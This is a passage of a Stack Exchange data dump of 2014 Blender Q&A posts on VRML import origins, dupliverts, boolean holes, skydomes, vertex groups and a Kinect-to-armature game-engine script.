{&#xA;              diffuseColor 0.831373 0.686275 0.215686&#xA;              specularColor 0.831373 0.686275 0.215686&#xA;              emissiveColor 0.831373 0.686275 0.215686&#xA;              ambientIntensity 0.8&#xA;              transparency 0.2&#xA;              shininess 0.2&#xA;            }&#xA;          }&#xA;          geometry IndexedFaceSet {&#xA;            solid TRUE&#xA;            coord Coordinate {&#xA;              point [&#xA;                # these are coordinates indexed 0, 1 and 2:&#xA;                1.16 -2.5 -3.15&#xA;                1.156926 -4.3121 -3.15&#xA;                1.156926 -4.3121 3.15&#xA;              ]&#xA;            }&#xA;            coordIndex [&#xA;              0 1 2 -1&#xA;            ]&#xA;          }&#xA;        }&#xA;      ]&#xA;    }&#xA;  ]&#xA;}&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;PS: To get &lt;code&gt;_2r_bga_export.wrl&lt;/code&gt;, save the below as &lt;code&gt;tmp.txt&lt;/code&gt;, and then in a Linux shell (see also &lt;a href=&quot;https://stackoverflow.com/questions/13032810/ascii-output-of-string-compression-in-c&quot;&gt;ascii output of string compression in C - Stack Overflow&lt;/a&gt;), do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat tmp.txt | base64 -d | tar xJvf -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;; that should unpack the file. &lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none 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OwnerUserId="5972" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2017-03-22T14:56:04.907" Title="Removing a dot vertex at coordinate center of wrl import?" Tags="&lt;import&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15989" PostTypeId="2" ParentId="15820" CreationDate="2014-09-18T14:52:59.370" Score="2" Body="&lt;p&gt;The reported problem sounds like another case of a known issue documented in the following page:&#xA;&lt;a href=&quot;https://developer.blender.org/T36350&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T36350&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the case, subdivide big faces of the outer object into smaller faces and see if the visual artifacts are resolved.&lt;/p&gt;&#xA;" OwnerUserId="1561" LastActivityDate="2014-09-18T14:52:59.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15990" PostTypeId="1" AcceptedAnswerId="15997" CreationDate="2014-09-18T15:55:45.550" Score="6" ViewCount="3536" Body="&lt;p&gt;Completely new to this. I have a series of points in a 3D graph and I am trying to either replace all the points with points with Spheres or make the points visible during graphing (whichever is possible/easier). How would I go about making this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your help.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/v0HFl.jpg&quot; alt=&quot;Here is my screen&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6104" LastActivityDate="2014-09-18T17:13:35.027" Title="Replacing Points with objects" Tags="&lt;objects&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15991" PostTypeId="2" ParentId="15990" CreationDate="2014-09-18T16:10:58.023" Score="5" Body="&lt;p&gt;If your points are all a single object you can add a particle system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KqLl7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Verts, No Physics, Objcect as render.&#xA;select your sphere as Dupli object and adjust the size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bOeg1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IbuY3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-09-18T16:10:58.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15992" PostTypeId="2" ParentId="15959" CreationDate="2014-09-18T16:22:02.183" Score="1" Body="&lt;p&gt;For some toggles, you can first select multiple strips, then right click on them and choose &lt;em&gt;&quot;Copy to Selected&quot;&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For batch controls on proxy quality setting, there is a very nice VSE addon &lt;strong&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?338598-Addon-WIP-VSE-Quick-functions-Snaps-Fades-Zoom-Parenting-Titling-Play-speed&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;, which can make it much easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WTffj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-09-18T16:22:02.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15993" PostTypeId="2" ParentId="15988" CreationDate="2014-09-18T16:23:07.450" Score="1" Body="&lt;p&gt;That &quot;dot vertex&quot; you cannot remove is the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/origin.htmls&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;object origin&lt;/strong&gt;&lt;/a&gt;. I haven't tried the main file since I don't have access to the unix commands so I will try to explain the problem(s) using the test example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the origin is quite off from the main model which is why it is possibly so irritating when transforming the model so you can try to snap or center it to the model with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt;. This will move the &lt;strong&gt;object origin&lt;/strong&gt; slightly but won't work as desired as you actually have a loose vertex so the tool will try to average the center using the main mesh and this point, simply enter edit mode and delete it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, run the &lt;em&gt;Set Origin&lt;/em&gt; tool again and this time the origin will be snapped to the geometry. I think having the origin offset being unselectable and the duplicate vertex was what was confusing you. You can tell where the origin point is on an object by enabling the &lt;em&gt;3d manipulator widget&lt;/em&gt;. &lt;img src=&quot;https://i.stack.imgur.com/jLiCY.png&quot; alt=&quot;enter image description here&quot;&gt;. If you don't want to see the origin, keep the widget disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note, you cannot select or delete the &lt;strong&gt;object origin&lt;/strong&gt; . It is fixed to your mesh and will move with it in &lt;em&gt;object mode&lt;/em&gt;, to manipulate it use the tool I mentioned above along with the &lt;em&gt;3D cursor&lt;/em&gt; (left click).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to see, &lt;a href=&quot;https://blender.stackexchange.com/questions/1291/change-pivot-or-local-origin-of-an-object/1292&quot;&gt;Change pivot or local origin of an object&lt;/a&gt; or spend a few minutes in the &lt;a href=&quot;/questions/tagged/transforms&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;transforms&amp;#39;&quot; rel=&quot;tag&quot;&gt;transforms&lt;/a&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2017-03-22T14:56:04.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15994" PostTypeId="2" ParentId="15988" CreationDate="2014-09-18T16:26:51.243" Score="1" Body="&lt;p&gt;That's Blender's representation of the origin point. It represents the point around which transforms are applied. You cannot delete it.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-09-18T16:26:51.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15996" PostTypeId="2" ParentId="15990" CreationDate="2014-09-18T16:46:24.973" Score="2" Body="&lt;p&gt;An alternative to cegaton's answer is to make links to another object in the scene. To do this, also make sure that your points are separate objects and that they all have their origins at their center (select all of the points and run &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Origin To Geometry&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, with all the points selected, select the object you want to replace them with (make sure this is the &lt;em&gt;last&lt;/em&gt; object selected) and run &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;L&lt;/kbd&gt; &lt;em&gt;&gt; Object Data&lt;/em&gt;. Now all instances are linked to the one main object so you can jump into edit mode and scale or transform it as desired and it update all the others. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zBYBs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for any reason after, you need them as unique objects again, select them all and press &lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;&gt; Object &amp;amp; Data&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-09-18T16:46:24.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15997" PostTypeId="2" ParentId="15990" CreationDate="2014-09-18T17:07:03.877" Score="9" Body="&lt;p&gt;If the vertices are all one object, you could also use &lt;em&gt;Dupliverts&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the vertices are separate objects, join them with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the object to the vertices object.&lt;br&gt;&#xA;Select the object you want to replace the vertices with and then the vertices object, then press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Object&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QDz7e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Dupliverts&lt;/em&gt; in &lt;em&gt;Properties &gt; Object &gt; Duplication&lt;/em&gt; on the vertices object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YTXdv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want the duplicates to be on top of the vertices, make sure the object origins of both objects are in the same place. Use &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to snap the 3D cursor to an object and &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to snap the origin to the cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sRBb3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Using dupliverts has the advantage that the object is &lt;em&gt;instanced&lt;/em&gt; to each vertex, with in very efficient memory usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tested this by instancing a UV sphere to a &gt; 20,000 vertex object with no trouble.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-18T17:13:35.027" LastActivityDate="2014-09-18T17:13:35.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15998" PostTypeId="1" AcceptedAnswerId="16013" CreationDate="2014-09-18T17:36:30.540" Score="0" ViewCount="875" Body="&lt;p&gt;When I Rigify a model, pose it in a scene and move it around etc.&#xA;The model seams to remember the &quot;origin position&quot;, from when I created the character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(mesh origin as in blender terms, this is a property of a mesh)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I then want to edit the rig, or mesh.&#xA;I put it into &quot;rest position&quot;. &#xA;Then it jumps back to that original position. This is a bit frustrating in large scenes. Apparently I moved or posed it wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is this normal behavior?&lt;/p&gt;&#xA;" OwnerUserId="6105" LastEditorUserId="6105" LastEditDate="2014-09-18T18:12:03.213" LastActivityDate="2017-03-22T15:07:55.560" Title="Rigify moving and posing, origin doesn't seem to move" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15999" PostTypeId="2" ParentId="15968" CreationDate="2014-09-18T17:38:38.200" Score="1" Body="&lt;p&gt;I can't actually find anything which says that sky textures are unsupported in the game engine, but there are a lot if things which are unsupported in the game engine..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you could do instead is use a &lt;em&gt;skydome&lt;/em&gt;, which is basically a UV sphere  with a sky texture mapped to it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a UV sphere and scale it up so it covers your entire scene.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode, select everything (&lt;kbd&gt;A&lt;/kbd&gt;) and press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to flip the normals.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To avoid extreme distortion around the poles, you can make infinitely small holes in the top and bottom of the sphere.&lt;br&gt;&#xA;In top view (&lt;kbd&gt;Numpad 7&lt;/kbd&gt;), select the polar vertices. Press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; and type in a small value like &lt;code&gt;.001&lt;/code&gt;. Press &lt;kbd&gt;&amp;#9166; Enter&lt;/kbd&gt; and &lt;kbd&gt;&amp;#8998; Delete&lt;/kbd&gt;&lt;em&gt;&gt;Faces&lt;/em&gt; to delete the new faces at the poles (creating holes), then press &lt;kbd&gt;S&lt;/kbd&gt; &lt;code&gt;0&lt;/code&gt; to scale the holes to infinitely small points. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the vertices are not merged when you do this, otherwise you'll be back where you started.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From side view (&lt;kbd&gt;Numpad 1&lt;/kbd&gt;), press &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; Sphere projection&lt;/em&gt; and enable &lt;em&gt;Scale to bounds&lt;/em&gt; in the &lt;em&gt;redo panel&lt;/em&gt; (&lt;kbd&gt;F6&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a material to the skydome and enable &lt;em&gt;Shadeless&lt;/em&gt; under &lt;em&gt;materials &gt; Shading&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mx6fD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add your texture with UV projection:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TsoQq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-18T19:44:55.937" LastActivityDate="2014-09-18T19:44:55.937" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16001" PostTypeId="2" ParentId="15879" CreationDate="2014-09-18T20:38:38.357" Score="3" Body="&lt;p&gt;You need to invoke your script from an actuator otherwise the scene will not be updated see image at the bottom of this post.&#xA;I searched my old sources and found this very messy one that still works in BGE (today tested with Blender (2.68.5):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oks6t.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import time&#xA;&#xA;import os&#xA;import random&#xA;import select&#xA;&#xA;from math import *&#xA;import mathutils&#xA;&#xA;import bge&#xA;import bpy&#xA;import math&#xA;from mathutils import Vector&#xA;from mathutils import Quaternion&#xA;&#xA;&#xA;def applyKinect(rot,name):&#xA;    scene = bge.logic.getCurrentScene()&#xA;    source = scene.objects&#xA;    main_arm = source.get('Armature')&#xA;    #q = Quaternion((rot.w,-rot.x,-rot.z,rot.y))&#xA;    q = Quaternion((rot.w,rot.x,rot.y,rot.z))&#xA;    main_arm.channels[ name ].rotation_quaternion = q.normalized()&#xA;    main_arm.update()&#xA;    v = rot.to_euler(&quot;XYZ&quot;)&#xA;    if name.startswith('head'): &#xA;        print(&quot;%s X:%r Y:%r Z:%r&quot; % (name,math.degrees(v.x),math.degrees(v.y),math.degrees(v.z)))&#xA;&#xA;&#xA;def map():&#xA;    #print(&quot;map&quot;)&#xA;    for i in range(1, 11):&#xA;        user = bpy.nui.get_user(i)&#xA;        if not user:&#xA;            continue&#xA;        #print(&quot;Map Kinect Found User=&quot; + str(i))&#xA;#        rot = user.hip_center[1]&#xA;#        applyKinect( rot, 'hip_center' )&#xA;#        print(&quot;hip_center %r&quot; % rot )&#xA;        #rot = user.neck[2]&#xA;        #applyKinect( rot, 'neck' )&#xA;        rot = user.head[2]&#xA;        arm = applyKinect( rot, 'head' )&#xA;        rot = user.r_shoulder[2]&#xA;        applyKinect( rot, 'shoulder_R' )&#xA;        rot = user.r_elbow[2]&#xA;        applyKinect( rot, 'elbow_R' )&#xA;        rot = user.r_wrist[2]&#xA;        applyKinect( rot, 'wrist_R' )&#xA;        rot = user.r_hand[2]&#xA;        applyKinect( rot, 'hand_R' )&#xA;&#xA;        rot = user.l_shoulder[1]&#xA;        applyKinect( rot, 'shoulder_L' )&#xA;        rot = user.l_elbow[1]&#xA;        applyKinect( rot, 'elbow_L' )&#xA;        rot = user.l_wrist[1]&#xA;        applyKinect( rot, 'wrist_L' )&#xA;        rot = user.l_hand[1]&#xA;        applyKinect( rot, 'hand_L' )&#xA;&#xA;&#xA;def dump(ctx, obj, level=0):&#xA;    for attr in dir(obj):&#xA;       print( &quot;%s.%s = %s&quot; % (ctx, attr, getattr(obj, attr)))&#xA;&#xA;map()&#xA;#test()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used quaternions (note that you can convert your euler angles to a quaternion using the methods from &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/mathutils.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;mathutils&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data is provided by an addon (and polled by &lt;code&gt;bpy.nui.get_user(i)&lt;/code&gt;), the script is executed with a logic block like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJDcu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-09-19T06:34:11.420" LastActivityDate="2014-09-19T06:34:11.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16002" PostTypeId="1" AcceptedAnswerId="16003" CreationDate="2014-09-18T20:53:21.540" Score="6" ViewCount="11154" Body="&lt;p&gt;I'm attempting to cut a hole in a plane. I added a cylinder object, added the Boolean modifier to the plane, selected &quot;cylinder&quot; and &quot;Difference&quot;, but no hole is made. The lower half of the cylinder just highlights, moving/deleting the cylinder reveals a hole-less plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b5jfo.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rKqb8.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9NEZ3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i cut a hole in the plane?&lt;/p&gt;&#xA;" OwnerUserId="6079" LastEditorUserId="29" LastEditDate="2014-09-18T20:55:50.177" LastActivityDate="2014-09-18T21:16:43.497" Title="cut a hole with boolean modifer not working" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16003" PostTypeId="2" ParentId="16002" CreationDate="2014-09-18T20:56:20.550" Score="6" Body="&lt;p&gt;This is because the plane is &lt;a href=&quot;https://blender.stackexchange.com/q/7910/599&quot;&gt;&lt;em&gt;non-manifold&lt;/em&gt;&lt;/a&gt;. It's a 2D object, which has no volume.&lt;/p&gt;&#xA;&lt;p&gt;Either make it manifold by giving it volume (e.g. with a &lt;em&gt;solidify modifier&lt;/em&gt;), or use the knife project tool instead of a boolean modifier:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a circle&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/29aNM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot; /&gt; RMB&lt;/kbd&gt; on the plane so that both the circle and the plane are selected, and the plane is active (yellow outline).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter edit mode (&lt;kbd&gt;↹ Tab&lt;/kbd&gt;), and align the view so that the circle outlines the hole you want to cut. In your case top view (&lt;kbd&gt;Numpad 7&lt;/kbd&gt;) is probably good.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Knife project&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; tool shelf &amp;gt; Tools &amp;gt; Add&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0wzm7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4n4OZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-18T21:02:41.417" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16004" PostTypeId="2" ParentId="16002" CreationDate="2014-09-18T21:16:43.497" Score="1" Body="&lt;p&gt;Undoubtedly the &lt;em&gt;Knife Project&lt;/em&gt; would be the better alternative, when you would apply the &lt;em&gt;Subdivision  Modifier&lt;/em&gt; it could work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R6f1g.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-18T21:16:43.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16005" PostTypeId="1" CreationDate="2014-09-18T21:22:29.670" Score="1" ViewCount="71" Body="&lt;p&gt;So, I've been getting used to animating, But,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Can't find a way to make more then 10 layers. I want to do this to make cool flip book animations.    &lt;/p&gt;&#xA;" OwnerUserId="5455" LastEditorUserId="2217" LastEditDate="2014-09-18T21:23:04.537" LastActivityDate="2014-09-18T21:23:04.537" Title="Is there a way to make more then 10 layers?" Tags="&lt;layers&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-09-19T02:26:09.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="16007" PostTypeId="1" AcceptedAnswerId="16008" CreationDate="2014-09-19T04:11:02.783" Score="0" ViewCount="626" Body="&lt;p&gt;I'm asking if there is anyway in blender to make more than vertex groups assigned to only one bone? lets say I have a only one bone in cube and I want to assign four different groups representing the four corners of the cube. If anyone could please advise how to do that as from what I know that to link vertex groups with bones the names needs to be the same, but in my case there will be only one bone name and four different vertex groups names, so then how I'm gonna link those four vertex groups with this one bone if they have different names?&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="2517" LastEditDate="2014-09-19T06:50:13.757" LastActivityDate="2017-03-22T15:07:43.777" Title="more than one vertex group for one bone" Tags="&lt;armature&gt;&lt;bones&gt;&lt;vertex-groups&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16008" PostTypeId="2" ParentId="16007" CreationDate="2014-09-19T08:27:52.583" Score="5" Body="&lt;p&gt;You can not assign more than one Vertex Group to one Bone. However you can assign many vertices to a vertex group where each vertex may have different weight. And that should be exactly the solution for which you are searching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no benefit from splitting the weights for one single bone into different vertex groups. Even if that would be possible, blender had to merge the groups anyways before it could apply the weights to the vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also check the wiki documentation about vertex groups:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/meshes/properties/vertex_groups/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/dev/modeling/meshes/properties/vertex_groups/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should read all 4 chapters of that section.&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="24421" LastEditDate="2017-03-22T15:07:43.777" LastActivityDate="2017-03-22T15:07:43.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16009" PostTypeId="1" CreationDate="2014-09-19T08:41:50.777" Score="2" ViewCount="14576" Body="&lt;p&gt;I want to hide an object in the Viewport up to a certain frame in the Timeline and then make it visible (e.g. at frame 30). How can i do that?&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-19T17:50:21.133" LastActivityDate="2014-09-19T17:50:21.133" Title="Animate the Viewport Visibility of an Object within the Timeline?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2014-09-19T17:24:30.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="16010" PostTypeId="2" ParentId="16009" CreationDate="2014-09-19T08:44:02.673" Score="6" Body="&lt;p&gt;&lt;strong&gt;Make your Object visible at frame 30:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can keyframe the Viewport Visibility of an Object from within the Outliner:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the Timeline select Frame 1&lt;/li&gt;&#xA;&lt;li&gt;Then open the Outliner&lt;/li&gt;&#xA;&lt;li&gt;Set your Object to Hidden&lt;/li&gt;&#xA;&lt;li&gt;While the mouse hovers over the eye icon in the outliner, press &lt;kbd&gt;I&lt;/kbd&gt; to keyframe the visibility.&lt;/li&gt;&#xA;&lt;li&gt;Move on to frame 30&lt;/li&gt;&#xA;&lt;li&gt;Click on the Eye icon again to make the object visible&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then press &lt;kbd&gt;I&lt;/kbd&gt; again to keyframe the visibility change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mk6rV.png&quot; alt=&quot;control visibility in the Outliner&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note: If you want to achieve the same for your render, then please check the answer in here: &lt;a href=&quot;https://blender.stackexchange.com/questions/8678/how-can-i-animate-the-restrict-visibility-property-of-an-object&quot;&gt;How can I animate the Restrict Visibility property of an object?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-09-19T17:39:50.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16011" PostTypeId="2" ParentId="15006" CreationDate="2014-09-19T09:46:05.050" Score="1" Body="&lt;p&gt;You'll need to change render engines. I'm not sure that the Yafaray plugin exports the XML (I don't have Blender open now so I can't check). The same dropdown you use to change the render engine from Blender Internal to Cycles is the one you use to change to Yafaray. However, you'll need to enable the Yafaray plugin (Preferences, Addons).&lt;/p&gt;&#xA;" OwnerUserId="6113" LastActivityDate="2014-09-19T09:46:05.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
